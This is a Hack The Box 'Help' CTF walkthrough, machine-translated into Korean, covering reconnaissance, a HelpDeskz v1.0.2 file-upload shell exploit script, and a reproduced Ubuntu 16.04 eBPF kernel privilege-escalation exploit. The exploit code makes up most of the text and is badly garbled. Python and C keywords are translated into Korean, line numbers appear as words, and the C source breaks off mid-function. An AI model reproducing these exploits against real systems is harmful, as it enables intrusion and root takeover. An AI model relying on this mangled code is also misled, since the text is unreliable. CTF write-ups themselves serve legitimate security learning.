제목 : Hack the Box —— 도움말

Hack The Box —— Help​

20190906183320.png-water_print

信息搜集​

nmap​

1
NMAP -T4 -A -V 10.10.10.121
20190906183229.png-water_print

포트 22, 80 및 3000이 열려 있고 포트 80에 액세스하는 것은 Apache의 기본 페이지입니다.

目录爆破​

Dirbuster를 사용하여 디렉토리를 폭파합니다.
20190906183610.png-water_print

지원 디렉토리를 발견하고 다음에 액세스하십시오.
20190906183647.png-water_print

HelpDeskz 관련 취약점을 검색하고 임의의 파일 업로드에 대한 취약점을 찾았습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
hashlib을 가져옵니다
수입 시간
SYS 가져 오기
가져 오기 요청
인쇄 'HelpDeskz v1.0.2- 무음의 쉘 업로드 익스플로잇'
LEN (SYS.ARGV) 3: 인 경우
'usage: {} [baseurl] [nameofuploadedfile]'. 형식 (sys.argv [0]) 인쇄
sys.exit (1)
HELPDESKZBASEURL=SYS.ARGV [1]
filename=sys.argv [2]
currenttime=int (time.time ())
범위의 x 용 (0, 300) :
일반 텍스트=filename + str (currenttime -x)
md5hash=hashlib.md5 (PlainText) .HexDigest ()
URL=HELPDESKZBASEURL+MD5HASH+'. PHP'
응답=requests.head (URL)
If response.status_code==200:
'찾았다!'인쇄
URL 인쇄
sys.exit (0)
'죄송합니다. 아무것도 찾지 못했습니다'

漏洞利用​

먼저, 티켓 제출시 쉘을 반등시키는 스크립트 파일을 업로드하십시오.
20190906184143.png-water_print

반품:
20190906184233.png-water_print

그런 다음 EXP 스크립트를 실행하십시오.
1
Python2 Poc.py http://10.10.10.121/지원/업로드/티켓/1.php
그러나 어쨌든 껍질에 액세스 할 수 없습니다. 나중에 관련 정보를 쿼리 한 후 서버 영역의 시간대가 국내 시간대의 시간대와 다르기 때문에 현재 -x로 얻은 숫자가 잘못되었음을 알게되었습니다. 따라서 스크립트가 약간 변경되었습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
hashlib을 가져옵니다
가져 오기 시간, 캘린더
SYS 가져 오기
가져 오기 요청
인쇄 'HelpDeskz v1.0.2- 무음의 쉘 업로드 익스플로잇'
LEN (SYS.ARGV) 3: 인 경우
'usage: {} [baseurl] [nameofuploadedfile]'. 형식 (sys.argv [0]) 인쇄
sys.exit (1)
HELPDESKZBASEURL=SYS.ARGV [1]
filename=sys.argv [2]
# currentTime=int (time.time ())
응답=requests.head (HelpDeskzBaseUrl)
servertime=response.headers [ 'date']
Servertime을 인쇄하십시오
TimeFormat=' %A, %D %B %Y %H: %M: %S %Z'
currenttime=int (calendar.timegm (time.strptime (servertime, timeformat))))))
현재 시간을 인쇄하십시오
범위 (0, 90) :의 x 용
일반 텍스트=filename + str (currenttime -x)
md5hash=hashlib.md5 (PlainText) .HexDigest ()
URL=HELPDESKZBASEURL+MD5HASH+'. PHP'
응답=requests.head (URL)
If response.status_code==200:
'찾았다!'인쇄
URL 인쇄
sys.exit (0)
'죄송합니다. 아무것도 찾지 못했습니다'
성공적으로 반등 한 쉘 :
20190906185003.png-water_print

20190906185009.png-water_print

첫 번째 플래그를 얻으려면 user.txt를 확인하십시오
Whoami는 발견 할 때 일반 사용자 권한, 일반 사용자 권한을 봅니다
Uname -a 커널 버전 번호를 확인하고 커널의 권한을 높이려고 노력하십시오.
20190906185333.png-water_print

提权​

관련 커널 버전 취약성 정보를 검색하고 https://www.exploit-db.com/exploits/44298을 찾으십시오.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196 년
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
/*
* 우분투 16.04.4 커널 프라이버 ESC
*
* @bleidl에 대한 모든 크레딧
* -Vnik
*/
//on:을 테스트했습니다
//4.4.0-116-Generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
//다른 커널 조정 크레드 오프셋 + 커널 스택 크기 확인
#include stdio.h
#include stdlib.h
#Inistd.h
#include errno.h
#include fcntl.h
#include string.h
#include linux/bpf.h
#include linux/unistd.h
#include sys/mman.h
#include sys/type.h
#include sys/socket.h
#include sys/un.h
#include sys/stat.h
#include stdint.h
#define phys_offset0xffff80000000000
#define cred_offset0x5f8
#define uid_offset 4
#define log_buf_size 65536
#define progsize 328
int 소켓 [2];
int mapfd, progfd;
char *__ prog='\ xb4 \ x09 \ x00 \ x00 \ xff \ xff \ xff \ xff \ xff \ xff'
'\ x55 \ x09 \ x02 \ x00 \ xff \ xff \ xff \ xff \ xff \ xff'
'\ xb7 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x18 \ x19 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 \ x00'
'\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x07 \ x02 \ x00 \ x00 \ xfc \ xff \ xff \ xff \ xff \ xff'
'\ x62 \ x0a \ xfc \ xff \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x85 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x79 \ x06 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x07 \ x02 \ x00 \ x00 \ xfc \ xff \ xff \ xff \ xff \ xff'
'\ x62 \ x0a \ xfc \ xff \ x01 \ x00 \ x00 \ x00'
'\ x85 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x79 \ x07 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ x91 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x07 \ x02 \ x00 \ x00 \ xfc \ xff \ xff \ xff \ xff \ xff'
'\ x62 \ x0a \ xfc \ xff \ x02 \ x00 \ x00 \ x00'
'\ x85 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x79 \ x08 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xbf \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ xb7 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x06 \ x03 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x79 \ x73 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x7b \ x32 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x55 \ x06 \ x02 \ x00 \ x01 \ x00 \ x00 \ x00'
'\ x7b \ xa2 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x7b \ x87 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
'\ x95 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00';
char bpf_log_buf [log_buf_size];
정적 int bpf_prog_load (enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *라이센스, int kern_version) {
Union bpf_attr attr={
.prog_type=prog_type,
.insns=(__U64) INSNS,
.insn_cnt=prog_len/sizeof (struct bpf_insn),
.LICENSE=(__U64) 라이센스,
.LOG_BUF=(__U64) BPF_LOG_BUF,
.log_size=log_buf_size,
.LOG_LEVEL=1,
};
attr.kern_version=kern_version;
bpf_log_buf [0]=0;
return syscall (__ nr_bpf, bpf_prog_load, attr, sizeof (attr));
}
정적 int bpf_create_map (enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
Union bpf_attr attr={
.map_type=map_type,
.key_size=key_size,
.value_size=value_size,
.max_entries=max_entries
};
return syscall (__ nr_bpf, bpf_map_create, attr, sizeof (attr));
}
static int bpf_update_elem (uint64_t 키, uint64_t value) {
Union bpf_attr attr={
.map_fd=mapfd,
.key=(__U64) 키,
.Value=(__U64) 값,
.flags=0,
};
return syscall (__ nr_bpf, bpf_map_update_elem, attr, sizeof (attr));
}
static int bpf_lookup_elem (void *key, void *value) {
Union bpf_attr attr={
.map_fd=mapfd,
.key=(__U64) 키,
.Value=(__U64) 값,
};
return syscall (__ nr_bpf, bpf_map_lookup_elem, att, sizeof (attr));
}
정적 void __exit (char *err) {
fprintf (stderr, 'error: %s \ n', err);
출구 (-1);
}
정적 무효 준비 (void) {
mapfd=bpf_create_map (bpf_map_type_array, sizeof (int), sizeof (long long), 3);
if (mapfd 0)
__exit (strerror (errno));
progfd=bpf_prog_load (bpf_prog_type_socket_filter,
(struct bpf_insn *) __ prog, progsize, 'gpl', 0);
if (progfd 0)
__exit (strerror (errno));
if (socketpair (af_unix, sock_dgram, 0, 소켓))))
__exit (strerror (errno));
if (setsockopt (소켓 [1], sol_socket, so_attach_bpf, progfd, sizeof (progfd)) 0)
__exit (strerror (errno));
}
정적 void writemsg (void) {
숯 버퍼 [64];
ssize_t n=쓰기 (소켓 [0], 버퍼, sizeof (buffer));
if (n 0) {
Perror ( '쓰기');
반품;
}
if (n!=sizeof (버퍼))
fprintf (stderr, '짧은 쓰기 : %lu \ n', n);
}
#define __update_elem (a, b, c) \
bpf_update_elem (0, (a)); \
bpf_update_elem (1, (b)); \
bpf_update_elem (2, (c)); \
writemsg ();
static uint64_t get_value (int key) {
UINT64_T 값;
if (bpf_lookup_elem (key, value))
__exit (strerror (errno));
반환 값;
}
정적 UINT64_T __get_fp (void) {
__update_elem (1, 0, 0);
retur
 
뒤로
상단